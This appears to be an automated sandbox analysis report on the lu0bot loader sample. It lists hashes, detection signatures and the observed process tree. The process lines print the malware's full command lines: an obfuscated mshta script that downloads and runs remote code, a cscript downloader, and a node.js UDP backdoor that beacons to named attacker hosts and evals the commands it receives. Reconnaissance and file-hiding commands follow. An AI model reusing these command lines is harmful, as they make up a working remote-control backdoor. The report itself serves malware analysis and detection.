Analysis
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max time kernel
150s -
max time network
182s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
18-08-2021 14:29
Static task
static1
Behavioral task
behavioral1
Sample
usfive_20210818-031956.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
General
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Target
usfive_20210818-031956.exe
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Size
2KB
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MD5
4a6ac8d48c9793c0c852a6ac93ba2002
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SHA1
cdc7a9cf8ee36099c823779ac2dd8ffe3a84d723
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SHA256
0297bbb0f00b3f591894ebcf042f2c6b0ed52e6662def1a9dbca0f8d20133cee
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SHA512
3aacced9817519ae31ed2bc4cf4063b2eb0a1c9e9addbcb9e08b3431f519ca0a8a6a8962e1039835a48e50cb52cd08d21cad642a66822c288d2b0a88541c361e
Malware Config
Signatures
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suricata: ET MALWARE lu0bot Loader HTTP Request
suricata: ET MALWARE lu0bot Loader HTTP Request
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suricata: ET MALWARE lu0bot Loader HTTP Response
suricata: ET MALWARE lu0bot Loader HTTP Response
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Blocklisted process makes network request 2 IoCs
flow pid Process 3 2012 mshta.exe 4 1628 cscript.exe -
Executes dropped EXE 1 IoCs
pid Process 1676 node.exe -
Loads dropped DLL 1 IoCs
pid Process 1868 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 1360 icacls.exe -
Drops file in Windows directory 2 IoCs
description ioc Process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 2024 tasklist.exe -
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1740 ipconfig.exe 544 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1596 systeminfo.exe -
NTFS ADS 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Local\Temp\2587425f454478f6:ads node.exe File created C:\ProgramData\DNTException\node.exe:7691a7a33b30188774c78defb0a1b71c node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1676 node.exe 1676 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
description pid Process Token: SeDebugPrivilege 2024 tasklist.exe Token: SeIncreaseQuotaPrivilege 1700 wmic.exe Token: SeSecurityPrivilege 1700 wmic.exe Token: SeTakeOwnershipPrivilege 1700 wmic.exe Token: SeLoadDriverPrivilege 1700 wmic.exe Token: SeSystemProfilePrivilege 1700 wmic.exe Token: SeSystemtimePrivilege 1700 wmic.exe Token: SeProfSingleProcessPrivilege 1700 wmic.exe Token: SeIncBasePriorityPrivilege 1700 wmic.exe Token: SeCreatePagefilePrivilege 1700 wmic.exe Token: SeBackupPrivilege 1700 wmic.exe Token: SeRestorePrivilege 1700 wmic.exe Token: SeShutdownPrivilege 1700 wmic.exe Token: SeDebugPrivilege 1700 wmic.exe Token: SeSystemEnvironmentPrivilege 1700 wmic.exe Token: SeRemoteShutdownPrivilege 1700 wmic.exe Token: SeUndockPrivilege 1700 wmic.exe Token: SeManageVolumePrivilege 1700 wmic.exe Token: 33 1700 wmic.exe Token: 34 1700 wmic.exe Token: 35 1700 wmic.exe Token: SeIncreaseQuotaPrivilege 1700 wmic.exe Token: SeSecurityPrivilege 1700 wmic.exe Token: SeTakeOwnershipPrivilege 1700 wmic.exe Token: SeLoadDriverPrivilege 1700 wmic.exe Token: SeSystemProfilePrivilege 1700 wmic.exe Token: SeSystemtimePrivilege 1700 wmic.exe Token: SeProfSingleProcessPrivilege 1700 wmic.exe Token: SeIncBasePriorityPrivilege 1700 wmic.exe Token: SeCreatePagefilePrivilege 1700 wmic.exe Token: SeBackupPrivilege 1700 wmic.exe Token: SeRestorePrivilege 1700 wmic.exe Token: SeShutdownPrivilege 1700 wmic.exe Token: SeDebugPrivilege 1700 wmic.exe Token: SeSystemEnvironmentPrivilege 1700 wmic.exe Token: SeRemoteShutdownPrivilege 1700 wmic.exe Token: SeUndockPrivilege 1700 wmic.exe Token: SeManageVolumePrivilege 1700 wmic.exe Token: 33 1700 wmic.exe Token: 34 1700 wmic.exe Token: 35 1700 wmic.exe Token: SeDebugPrivilege 544 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1856 wrote to memory of 2012 1856 usfive_20210818-031956.exe 25 PID 1856 wrote to memory of 2012 1856 usfive_20210818-031956.exe 25 PID 1856 wrote to memory of 2012 1856 usfive_20210818-031956.exe 25 PID 1856 wrote to memory of 2012 1856 usfive_20210818-031956.exe 25 PID 2012 wrote to memory of 1328 2012 mshta.exe 30 PID 2012 wrote to memory of 1328 2012 mshta.exe 30 PID 2012 wrote to memory of 1328 2012 mshta.exe 30 PID 2012 wrote to memory of 1328 2012 mshta.exe 30 PID 1328 wrote to memory of 1628 1328 cmd.exe 32 PID 1328 wrote to memory of 1628 1328 cmd.exe 32 PID 1328 wrote to memory of 1628 1328 cmd.exe 32 PID 1328 wrote to memory of 1628 1328 cmd.exe 32 PID 1328 wrote to memory of 544 1328 cmd.exe 33 PID 1328 wrote to memory of 544 1328 cmd.exe 33 PID 1328 wrote to memory of 544 1328 cmd.exe 33 PID 1328 wrote to memory of 544 1328 cmd.exe 33 PID 1328 wrote to memory of 1868 1328 cmd.exe 34 PID 1328 wrote to memory of 1868 1328 cmd.exe 34 PID 1328 wrote to memory of 1868 1328 cmd.exe 34 PID 1328 wrote to memory of 1868 1328 cmd.exe 34 PID 1868 wrote to memory of 1676 1868 cscript.exe 35 PID 1868 wrote to memory of 1676 1868 cscript.exe 35 PID 1868 wrote to memory of 1676 1868 cscript.exe 35 PID 1868 wrote to memory of 1676 1868 cscript.exe 35 PID 1676 wrote to memory of 1704 1676 node.exe 37 PID 1676 wrote to memory of 1704 1676 node.exe 37 PID 1676 wrote to memory of 1704 1676 node.exe 37 PID 1676 wrote to memory of 1704 1676 node.exe 37 PID 1676 wrote to memory of 1356 1676 node.exe 38 PID 1676 wrote to memory of 1356 1676 node.exe 38 PID 1676 wrote to memory of 1356 1676 node.exe 38 PID 1676 wrote to memory of 1356 1676 node.exe 38 PID 1676 wrote to memory of 1360 1676 node.exe 39 PID 1676 wrote to memory of 1360 1676 node.exe 39 PID 1676 wrote to memory of 1360 1676 node.exe 39 PID 1676 wrote to memory of 1360 1676 node.exe 39 PID 1676 wrote to memory of 336 1676 node.exe 40 PID 1676 wrote to memory of 336 1676 node.exe 40 PID 1676 wrote to memory of 336 1676 node.exe 40 PID 1676 wrote to memory of 336 1676 node.exe 40 PID 1676 wrote to memory of 744 1676 node.exe 41 PID 1676 wrote to memory of 744 1676 node.exe 41 PID 1676 wrote to memory of 744 1676 node.exe 41 PID 1676 wrote to memory of 744 1676 node.exe 41 PID 1676 wrote to memory of 2024 1676 node.exe 42 PID 1676 wrote to memory of 2024 1676 node.exe 42 PID 1676 wrote to memory of 2024 1676 node.exe 42 PID 1676 wrote to memory of 2024 1676 node.exe 42 PID 1676 wrote to memory of 1700 1676 node.exe 44 PID 1676 wrote to memory of 1700 1676 node.exe 44 PID 1676 wrote to memory of 1700 1676 node.exe 44 PID 1676 wrote to memory of 1700 1676 node.exe 44 PID 1676 wrote to memory of 1740 1676 node.exe 45 PID 1676 wrote to memory of 1740 1676 node.exe 45 PID 1676 wrote to memory of 1740 1676 node.exe 45 PID 1676 wrote to memory of 1740 1676 node.exe 45 PID 1676 wrote to memory of 1864 1676 node.exe 46 PID 1676 wrote to memory of 1864 1676 node.exe 46 PID 1676 wrote to memory of 1864 1676 node.exe 46 PID 1676 wrote to memory of 1864 1676 node.exe 46 PID 1676 wrote to memory of 544 1676 node.exe 47 PID 1676 wrote to memory of 544 1676 node.exe 47 PID 1676 wrote to memory of 544 1676 node.exe 47 PID 1676 wrote to memory of 544 1676 node.exe 47 -
Views/modifies file attributes 1 TTPs 2 IoCs
pid Process 336 attrib.exe 744 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\usfive_20210818-031956.exe"C:\Users\Admin\AppData\Local\Temp\usfive_20210818-031956.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1856 -
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();27;y=unescape('%336%7Eh%74t%70%3A%2F%2F%61s%751%30%2E%66u%6E%2F%68r%69%2F%3F2%31a%36e%34b%7E1%333').split('~');204;try{x='WinHttp';251;x=new ActiveXObject(x+'.'+x+'Request.5.1');200;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);117;x.send();134;y='ipt.S';8;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);71;}catch(e){};165;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2012 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1629296985140.txt & cscript /nologo /e:jscript get1629296985140.txt "http%3A%2F%2Fasu10.fun%2Fhri%2F%3F2887ed46e%26b%3D80c1c36a" node.cab & expand node.cab node.exe & del get1629296985140.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1629296985140.txt & cscript /nologo /e:jscript get1629296985140.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27887ed46e%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu1.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1629296985140.txt3⤵
- Suspicious use of WriteProcessMemory
PID:1328 -
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1629296985140.txt "http%3A%2F%2Fasu10.fun%2Fhri%2F%3F2887ed46e%26b%3D80c1c36a" node.cab4⤵
- Blocklisted process makes network request
PID:1628
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C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
PID:544
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C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1629296985140.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27887ed46e%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu1.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1868 -
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%27887ed46e%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu10.fun%27);s.send(b,0,b.length,19584,%27lu1.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1676 -
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵PID:1704
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C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵PID:1356
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C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
PID:1360
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
PID:336
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C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
PID:744
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C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2024
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C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
PID:1700
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C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
PID:1740
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C:\Windows\SysWOW64\route.exeroute.exe print6⤵PID:1864
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C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:544
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C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
PID:1596
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